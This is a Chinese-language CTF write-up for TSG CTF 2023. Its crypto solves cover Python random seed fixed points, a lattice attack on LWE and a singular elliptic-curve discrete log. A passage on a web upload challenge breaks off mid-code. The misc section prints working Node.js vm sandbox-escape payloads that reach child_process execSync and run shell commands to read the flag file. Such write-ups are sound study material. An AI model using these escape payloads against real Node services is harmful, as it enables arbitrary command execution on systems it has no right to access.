TSG CTF 2023 WriteUps

在 nyahello 中 solo 打了一下這場拿到第 10 名,主要解了幾題 crypto,還有 misc, web, pwn 各一題。

Crypto

RANDOM SEED RANDOM

這題有個 server,連上會執行這個 script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
import random
import string

flag = os.getenv("FLAG", "FAKECTF{THIS_IS_FAKE}")

key = [random.randrange(10 ** 4) for _ in flag]
cs = string.printable[:-6]

def r(k):
for _ in range(k):
random.seed(x := random.randrange(20231104, 20231104 * 10))
return x

random.seed(int(input("seed: ")))
print('flag:', ''.join([cs[(cs.index(f) + r(k)) % len(cs)] for f, k in zip(flag, key)]))

因為我們不知道 key 是多少,所以只能想辦法透過決定 seed 控制 r(k) 的值。有想過既然是 MT19937 那看看能不能 z3,不過因為它的還拿輸出的值再拿去 seed 一次,所以複雜度應該會很高。

仔細想一下會發現如果定義:

1
2
3
def f(x):
random.seed(x)
return random.randrange(20231104, 20231104 * 10)

那麼只要找到一個 ,也就是 的 fixed point,那麼 就是個定值。不過實際上不是每個 都有 fixed point 的,例如對一個從自身到自身的函數 的函數其中 ,它有 fixed point 的機率是:

而當 的時候 。因此對於任意夠大的 來說有 fixed point 的機率其實不是很大,而這題的 在它所給予的 中正好也沒有 fixed point。

不過這問題也不大,取 等函數找它們的 fixed point 就行了。例如在這題上我有找到一個 的 fixed point 。這麼一來 的可能性就只有三種了。

因此就利用那個 seed 去拿 flag 加密,然後對於每個字元解回來會有三種可能,這部分透過多次加密取交集,看出現過最多次數的字元就是了。

找 fixed point 的部分我是這樣做的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import random
from tqdm import tqdm, trange
from concurrent.futures import ProcessPoolExecutor
from math import ceil


def check_seed_range(rg):
r = random.Random()
for seed in range(*rg):
r.seed(seed)
r.seed(r.randrange(st, ed))
r.seed(r.randrange(st, ed))
if r.randrange(st, ed) == seed:
return seed


st = 20231104
ed = st * 10
split = 16
with ProcessPoolExecutor(max_workers=split) as executor:
ranges = [
(st + i * (ed - st) // split, st + (i + 1) * (ed - st) // split)
for i in range(split)
]
ranges += [(ranges[-1][1], ed)]
res = executor.map(check_seed_range, ranges)
for r in res:
if r:
print(r, flush=True)
break

然後是解 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import process, remote, context
import random
import string
import numpy as np
from collections import Counter
from tqdm import trange

context.log_level = "error"


def f(x):
r = random.Random()
r.seed(x)
return r.randrange(20231104, 20231104 * 10)


fixed_point_3 = 47852311
assert f(f(f(fixed_point_3))) == fixed_point_3


def get_enc(seed):
# io = process(["python", "main.py"])
io = remote("34.84.217.62", 10960)
io.sendlineafter(b"seed: ", str(seed).encode())
io.recvuntil(b"flag: ")
enc = io.recvline().strip().decode()
io.close()
return enc


def try_fn(f, n):
for _ in range(n):
try:
return f()
except Exception as e:
pass


def get_flag_cand(seed):
cs = string.printable[:-6]
enc = try_fn(lambda: get_enc(seed), 5)
for _ in range(random.randrange(0, 3)):
seed = f(seed)
dec = "".join([cs[(cs.index(f) - seed) % len(cs)] for f in enc])
return dec


ar = np.array([list(get_flag_cand(fixed_point_3)) for _ in trange(50)])

flag = ""
for row in ar.T:
flag += Counter(row).most_common(1)[0][0]
print(flag)
# TSGCTF{D4NCE_R0BOT_D4NCE_8caa8d05ff7f}

作者 writeup,他是用 cycle finding 去做的

Learning with Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler
from sage.crypto.lwe import LWE, samples
from sage.misc.prandom import randrange

p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
F = GF(p)
d = 100
n = 10
q = p // (2 ** 64)
D = DiscreteGaussianDistributionIntegerSampler(q // d // 6) # six sigma

lwe = LWE(n=n, q=p, D=D)

public_key = list(zip(*samples(m=d, n=n, lwe=lwe)))
private_key = lwe._LWE__s

def encrypt(m, public_key):
A, T = public_key
r = vector([F(randrange(2)) for _ in range(d)])
U = r * matrix(A)
v = r * vector(T) + m * q
return U, v

def decrypt(c, private_key):
U, v = c
return int(v - U * private_key + q // 2) // q

with open('flag.txt', 'rb') as f:
flag = f.read()
assert(len(flag) == 64)

print(f'{public_key = }')

ciphertext = []
for i in range(0, 64, 8):
m = int.from_bytes(flag[i:i+8], 'big')
c = encrypt(m, public_key)

assert(decrypt(c, private_key) == m)

ciphertext.append(c)

print(f'{ciphertext = }')

這邊實作了一個 LWE 的加密方法 (類似 Regev),public key 為:

而加密是用:

所以解密為:

因為 是 binary vector,所以預期 不大,所以直接 balance mod 然後整數除法除 即可。

不過這題我認為最大的問題在於它有 維,但 。因為 ,而 ,所以可以抓每個維度相當於提供 bits 的資訊。而未知的 只有 bits,而 ,所以用 LLL 解應該是可行的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from sage.stats.distributions.discrete_gaussian_integer import (
DiscreteGaussianDistributionIntegerSampler,
)
from sage.crypto.lwe import LWE, samples
from sage.misc.prandom import randrange
from subprocess import check_output
from re import findall
from output import public_key, ciphertext


def flatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))


p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF
F = GF(p)
d = 100
n = 10
q = p // (2**64)
errsz = (q // d // 6).bit_length()


A, T = public_key
L = (-matrix(A).T).stack(vector(T)).change_ring(ZZ)
L = block_matrix(
[[matrix.identity(d) * p, matrix.zero(d, n + 1)], [L, matrix.identity(n + 1)]]
)
# for row in L:
# print("".join(["*" if x else " " for x in row]))
bounds = [2**errsz] * d + [2 ** p.bit_length()] * n + [1]
K = p**2
Q = diagonal_matrix([K // x for x in bounds])
L *= Q
L = flatter(L)
L /= Q
private_key = vector(F, next(v for v in L if v[-1] == 1)[-n - 1 : -1])
print(private_key)



def decrypt(c, private_key):
U, v = c
return int(v - vector(F, U) * private_key + q // 2) // q

flag = b""
for ct in ciphertext:
pt = decrypt(ct, private_key)
flag += int(pt).to_bytes(8, "big")
print(flag)
# TSGCTF{PQC_5T4NDS_FOR_"P-AND-Q_CRYPTOSY5T3M";_4LSO_KNOWN_A5_RSA}

另外是我這個方法其實不是直接用 LLL 攻擊 LWE 的最佳解法,因為生出來的那個 lattice 大小是 ,而實際上有個 LWE primal attack 只需要 的 lattice 就夠了。詳細可以參考這篇 p.36

這題的符號和那篇 slide 中的符號之對應關係如下: * * * *

而這下面都會使用 slide 中的符號而非這題的符號

可知道它比較特別的地方是有先用計算 row echelon form 把 矩陣的地方從 壓縮到 的技巧。

首先是標準 lwe 可以寫成 ,這邊的 是題目的 。然後轉置得到 ,而求 echelon form 就是有個 ,其中 是一堆 elementary matrix 的乘積,所以有:

而 primal attack 的 lattice 長這樣:

注意 維的,所以它會填滿那個空格

因此可以想成有 ,而因為 中的值和 一樣都已經是在 底下計算完成了,範圍也相同。因此 裡面的 就能讓我們省掉 維的空間去塞 。不過這也有個小缺點,就是原本的方法中因為多了那 維,也有多塞 維的 去捕捉 的必要,所以我前面是直接從 LLL reduced matrix 中就能找出 private key 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
A, T = public_key
L = block_matrix(
[
[matrix(Zmod(p), A).T.echelon_form().change_ring(ZZ), 0],
[matrix.zero(d - n, n).augment(matrix.identity(d - n) * p), 0],
[matrix(ZZ, T), 1],
]
)
# for row in L:
# print("".join(["*" if x else " " for x in row]))
bounds = [2**errsz] * d + [1]
K = p**2
Q = diagonal_matrix([K // x for x in bounds])
L *= Q
L = flatter(L)
L /= Q
err = vector(F, next(v[-1] * v for v in L if abs(v[-1]) == 1)[:-1])
private_key = matrix(F, A).solve_right(vector(F, T) - err)
print(private_key)

Delta Force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from secret import flag, p, q
from random import SystemRandom
from elliptic_curve import EC

randgen = SystemRandom()
flag += randgen.randbytes(4000 // 8 - len(flag))

f = int.from_bytes(flag, 'big')

assert is_prime(p) and is_prime(q)
N = p * q

R = IntegerModRing(N)
a1 = 3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248
a2 = 4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859
a3 = 558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922
a4 = 2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438
a6 = 3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411

x = 3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044
y = 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337

P = (x, y)

ec = EC(R, (a1, a2, a3, a4, a6))
assert ec.iszeropoint(P) == True

print(N)
print(ec.scalar(f, P))

這題有 ,而還用自己寫的橢圓曲線在在上面算 ,要你解 ecdlp 得到

首先直接把曲線在 sage 中建出來會發現它是 singular 的,也就是說 都是 singular curve,代表只會是 cusp (三重根) 或是 node (二重根)。

因為所有的 curve 都能透過轉換變成 short weierstrass form,所以 cusp 會長成 ,而 node 是

之所以 cusp 不會是 是因為這樣就不符合 short weierstrass form 的定義了

利用這個性質,可以先轉成 short weierstrass form 。而我先假設兩個都是 node,那麼透過 square-free factorizatin 的技巧,合理預期 會是一個 degree 1 多項式,然後就能找出從曲線到 的 homomorphism。

不過實際上在計算 的時候就會發生 inversion error,因此可以分解 ,然後檢查一下 可知分別是 cusp 和 node。

首先 cusp 的部分可以透過以下 homomorphism 弄到加法群,所以可得

而 node 那條把它分解成:

而它有個 homomorphism:

其中 還是 就要看 是不是 square 決定了。在這題中

接下來檢查一下可知 並不 smooth,但 相當的 smooth,因此就要在 的 subgroup 中用 pohlig-hellman 解 DLP 得到 ,然後最後 CRT 就能得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from elliptic_curve import EC

N = 4861176438018509277765150221122126870541685654379801604114760532814287581153000210004207389443213309449018955338869863741674740447811975915078711903955681567092381171537713559560343153877511977292098222368485399204912122010227229078270969924905169787592189375418475308051129528888568681568734206072034666373423912365236817972608366602899547226744432299234711173306225399948633496091891925021506066051269505274591577497904167584767303718241171649947539664809546498443661211509926990737931523544728384428153032760216353730801234655930548104422024130570816728659653538260845032772371478140823258876790879087834215578099103687121280145961921389449249461303695127426477060016215875089488915916633794518511956116049451487462341914580430836466289069310852902452441670591766542607475566151856004189541762250121764347455770924195541519142036527843854325635334990763891612540761801228294679227675034333748671488131374369328481523920448620362794582130982555488343842058198241325525060402667145213028907534526536473479495813172523174608010901013909785818541505226347899760377967331689016937903306728695776347712900417640623152047417427405267791933202247836823133253708561331399337585694285673510222776175851823031760492810621651225757782530492371

a1 = 3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248
a2 = 4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859
a3 = 558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922
a4 = 2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438
a6 = 3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411

Px = 3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044
Py = 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337
Qx = 2940137648302822135887768405733428618361214020026143318586301618329372655276898009551187352450543631241584953409424998458467844898870748818109962017628692856154502911778246629019987248210711081379384038506544899037017094206431000794646201463294660352565581410940316447059413267990280103085282255573960006012422254599380011885107374758617951885988212493389139714778955997592191645456603116305632632160041751363247794842614094023112577912814096859442106924317927245381355215404305882813647647808165973585096785363719791485657642484540219214405059891658285454539795978892636754583882973657007442901458945664345488978832970375753192565978853522306244584220151446267601777829062885902539106413866798108556472482002577646588557387807715633128913787076005721277459341934855424070398364463323364862109833382659277887541400854089319386644417923424987803584644908821750251870682987388817038606082810492054657719015315239443896190699718636785628585029435696899067125128349522932992790811417433696577333575752911124735242072095229457254742656832308956471177564651299639347093754244273997643353109038338400428109043737885400764768339281104454669195785957709561673360000645367092746262324437783858934652428309563075654233156559693135917215127084839
Qy = 4309188751202413994756093118871339651868155545296257835957631283548458290549834043239999619160131639470537688107285148019375428000337112432317175093336043210190860875690929878131126549041446002208047334350876371320870374521378167548031473971584407464547121329256935748386784077512111069027529070091090512274046019879131201709340032343094129650445987190535015392973173123256087780783994874319281164700525019310387007282075836894663864145318825896934077504337916357614201204461113478545772364849985793786972947231991982415597625212515186739391531585821996127328710500026236144903951637427245223426748300366460373759173484339176020599231393473092295681626107718784321631623410699469438511433557396045657573993803277529816220655895923559584651137391079923579080103751692260916441921214236122141145982485958870445890303087859026075184149723430563928025165528170894575097071775485154541104075542976068077112038847635378050578747036715486956987048325200527662369726957499097289967832182678228473153601275262332757733205093157880270604049046032523006585325029448952623263419851474313757519250802143143825231591931300564658633698464656605919184597056629222214865044578470955523959024153014386918508244536074045249645182811691608730763212420747

R = Zmod(N)
proof.arithmetic(False)

ET = EllipticCurve(QQ, [a1, a2, a3, a4, a6])
E = ET.short_weierstrass_model()
phi = ET.isomorphism_to(E)
fx, fy = phi.rational_maps()
w_Px, w_Py = fx(Px, Py), fy(Px, Py)
w_Qx, w_Qy = fx(Qx, Qy), fy(Qx, Qy)
a, b = R(E.a4()), R(E.a6())
p = ZZ(gcd(a, N)) # I found this by accident
q = N // p
assert p * q == N
x = ZZ["x"].gen()
f = x**3 + a * x + b
Fp = GF(p)
Fq = GF(q)

# hmm...
print(f.change_ring(Fp).factor()) # x^3
print(f.change_ring(Fq).factor()) # (x-alpha)^2*(x-beta)

# use E(F_p) -> F_p^+ homomorphism to solve dlp mod p
f_p = (w_Qx / w_Qy) / ((w_Px / w_Py)) % p
ec_p = EC(Fp, (a1, a2, a3, a4, a6))
assert ec_p.scalar(f_p, (Px % p, Py % p)) == (Qx % p, Qy % p)

# find E(F_q) -> ? homomorphism
fs = f.change_ring(Fq).factor()
alpha = next(ZZ(-f(0)) for f, e in fs if e == 2)
beta = next(ZZ(-f(0)) for f, e in fs if e == 1)
z = Fq(alpha - beta).sqrt()
print(z) # not in F_q^*, so it is F_{q^2}^*
print(factor(q + 1)) # so smooth, yeah
Fq2 = z.parent()


def homo(wx, wy):
wx, wy = Fq2(wx), Fq2(wy)
t = z * (wx - alpha)
return (wy + t) / (wy - t)


# map to F_{q^2}^* and solve another dlp
cf = q - 1
target = homo(w_Qx, w_Qy) ** cf
base = homo(w_Px, w_Py) ** cf
od = q + 1
if base.is_square():
od //= 2
f_q = ZZ(pari.fflog(target, base, od))
# same, but slower:
# f_q = discrete_log(target, base, ord=q + 1)

f = crt([f_p, f_q], [p, od])
flag = int(f).to_bytes(5000 // 8, "big").strip(b"\x00")
print(flag)
# TSGCTF{@l1_y0u_n3Ed_IS_ReaDiNG_5ilvErman_ThE_@r1thmetic_of_e11iPtiC_cURVe5}

Misc

Functionless

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const readline = require("node:readline/promises");
const vm = require("node:vm");

async function main() {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});

const context = vm.createContext(undefined, {
codeGeneration: {
strings: false,
},
});

console.log("Welcome! Please input an expression.");

while (true) {
const code = await rl.question("> ");

if (/[()`]/.test(code)) {
console.log("You can't call functions!");
continue;
}

try {
const result = vm.runInContext(code, context);
console.log(result);
} catch {
console.log("Something is wrong...");
}
}
}

main();

總之要在不能 call function 的情況下 escape node.js 的 vm

escape 的部分很簡單,因為 context undefined 時用的預設參數是 host object,所以 this.constructor.constructor 就是 host 的 Function 了。

call function 的部分我知道有個 arg instanceof {[Symbol.hasInstance]: fn} 可以做到相當於 !!fn(arg) 的操作,也就是能 call function + 控參數,但不能拿到回傳值。

後來找了找想到 Error.prepareStackTrace 會被 v8 在有 error 的時候使用 Error.prepareStackTrace(error, callsites) 的方法呼叫,然後把回傳值塞到 error.stack 中。因此如果把 Error.prepareStackTrace 改成 this.constructor.constructor (host Function),然後透過控制參數 toString 說不定就行了。因此我最初的想法就是:

1
2
3
4
Error.prototype.toString=v=>'ERRSTR'
Array.prototype.toString=v=>'ARRSTR'
Error.prepareStackTrace=this.constructor.constructor
new Error

這個在 node.js repl 中是預期的結果,但在題目中不行。後來我做了些測試發現這是因為 error 是 vm realm 裡面的 Error,可是 callsites 這個 array 是 host 的,因此 callsites 在轉換成 String 時不會呼叫到 vm realm 裡面的 Array.prototype.toString,而是 host 的 Array.prototype.toString

而它出現 error 的原因是因為 array of callsites toString 的時候也會轉換 Callsite,而 Callsite 轉換時會包含像是 filename 以及當前 function 名稱等資訊 (callsite 相當於 stack frame)。而 vm 中 runInContext 預設會建立一個 vm.Script,其 filenameevalmachine.<anonymous>,因此就會導致 Function syntax error。

而我這邊的作法很簡單,就是透過修改 this.constructor.prototype.filename 去汙染 host 的 filename,這樣就能控制之後 runInContextfilename 了,那麼也就能間接控制 callsitestoString 結果了。

1
2
3
4
5
6
this.constructor.prototype.filename='console.log\x28process.mainModule.require\x28"child_process"\x29.execSync\x28"cat f*"\x29.toString\x28\x29\x29 //'
Error.prototype.toString=v=>'ERRSTR'
Error.prepareStackTrace=this.constructor.constructor
err=new Error
err.toString=err.stack
err+''

其他人的 writeup:

還有一個只出現在 discord 的解:

1
2
3
toString.constructor.prototype.toString=toString.constructor.prototype.call;
a = ["process.mainModule.require\u0028'child_process'\u0029.execSync\u0028'cat /app/flag-* 1>&2'\u0029","a"];
toString.constructor instanceof {[Symbol.hasInstance]:a.sort, __proto__: a};

Web

absurdres

總之有個圖片上傳功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route('/image', methods=['POST'])
def post_image():
image = request.files.get('image')
if image is None:
return 'no image', 400

filename, *_, extension = os.path.basename(image.filename).split('.')
if any(c not in ascii_lowercase for c in filename):
return 'invalid filename', 400

image_data = image.read()
image_x2 = Image.open(BytesIO(image_data))
image_x1 = image_x2.resize((image_x2.width // 2, image_x2.height // 2))

image_id = md5(image_data).hexdigest()

db.images.insert_one({
'image_id': image_id,
'files': [
{
'path': f'images/{filename}.x2.{extension}',
'title': image.filename,
'zoom': 2,
},
{
'path': f'images/{filename}.x1.{extension}',
'title': image.filename,
